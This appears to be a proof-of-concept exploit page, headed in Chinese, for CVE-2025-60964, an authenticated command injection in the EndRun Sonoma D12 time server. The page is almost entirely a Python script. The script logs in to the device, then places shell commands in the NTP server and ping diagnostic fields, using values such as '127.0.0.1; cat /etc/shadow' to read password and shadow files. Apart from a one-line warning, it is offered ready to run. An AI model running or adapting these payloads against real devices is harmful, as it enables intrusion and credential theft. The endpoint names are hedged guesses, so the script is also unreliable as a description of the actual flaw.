CVE-2025-60964 EndRun Sonoma D12网络时间服务器命令注入漏洞

# CVE-2025-60964 - EndRun Sonoma D12 OS Command Injection PoC # Author: xdiv-sec # Description: Demonstrates OS command injection in Sonoma D12 NTP Server # Affected: F/W 6010-0071-000 Ver 4.00 import requests import sys TARGET = "https://target-sonoma-d12.example.com" USERNAME = "admin" PASSWORD = "password" def exploit_command_injection(): """ Exploit OS command injection vulnerability in Sonoma D12 NTP Server. The vulnerability exists in an authenticated endpoint where user-supplied input is passed to a system shell without proper sanitization. """ session = requests.Session() # Step 1: Authenticate to the device management interface login_url = f"{TARGET}/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response status: {resp.status_code}") # Step 2: Inject OS command via vulnerable parameter # The injection point is typically in configuration parameters # that are passed to system() or exec() calls on the backend inject_url = f"{TARGET}/config_ntp.cgi" # Example: injecting command separator to execute arbitrary commands # Original parameter might be hostname or NTP server address payload = { "ntp_server": "pool.ntp.org; id; cat /etc/passwd", "action": "save" } resp = session.post(inject_url, data=payload, verify=False) print(f"[*] Injection response status: {resp.status_code}") # Step 3: Alternative - inject via ping/traceroute diagnostic endpoint diag_url = f"{TARGET}/diag_ping.cgi" diag_payload = { "host": "127.0.0.1; cat /etc/shadow", "count": "4" } resp = session.post(diag_url, data=diag_payload, verify=False) print(f"[*] Diagnostic injection response: {resp.text[:500]}") return resp.text if __name__ == "__main__": print("[+] CVE-2025-60964 PoC - EndRun Sonoma D12 Command Injection") print("[+] WARNING: Use only on systems you are authorized to test") result = exploit_command_injection() print(f"[+] Result:\n{result}")